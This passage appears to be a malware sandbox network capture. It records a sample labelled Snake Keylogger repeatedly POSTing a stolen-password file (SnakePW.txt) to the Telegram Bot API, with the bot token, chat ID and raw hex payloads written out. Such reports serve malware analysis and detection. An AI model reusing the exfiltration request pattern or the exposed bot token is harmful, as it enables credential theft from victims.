/ 9:32:22 AMClient IP
2022-06-26 07:34:12 UTC	367	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:12 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:12 UTC	367	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66993,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228852,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.5	50128	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:12 UTC	368	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570c9db3f6 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:12 UTC	368	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 63 39 64 62 33 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570c9db3f6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:13 UTC	368	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:13 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:13 UTC	369	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66995,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228853,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.5	50129	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:13 UTC	369	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570cdbaffa Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:13 UTC	370	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 63 64 62 61 66 66 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570cdbaffaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:13 UTC	370	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:13 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:13 UTC	371	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66996,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228853,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49790	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:47 UTC	37	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d9a700e3 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:47 UTC	37	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 39 61 37 30 30 65 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d9a700e3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:47 UTC	37	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:47 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:47 UTC	38	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66769,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228767,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.5	50130	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:13 UTC	371	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570d174be5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:13 UTC	371	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 64 31 37 34 62 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570d174be5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:14 UTC	372	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:13 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:14 UTC	372	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66997,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228853,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.5	50131	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:14 UTC	373	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570d554840 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:14 UTC	373	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 64 35 35 34 38 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570d554840Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:14 UTC	374	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:14 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:14 UTC	374	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66998,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228854,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.5	50132	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:14 UTC	374	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570d90e459 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:14 UTC	375	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 64 39 30 65 34 35 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570d90e459Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:14 UTC	375	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:14 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:14 UTC	376	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67000,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228854,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.5	50133	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:14 UTC	376	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570dc7be8e Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:14 UTC	376	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 64 63 37 62 65 38 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570dc7be8eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:15 UTC	377	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:15 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:15 UTC	377	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: 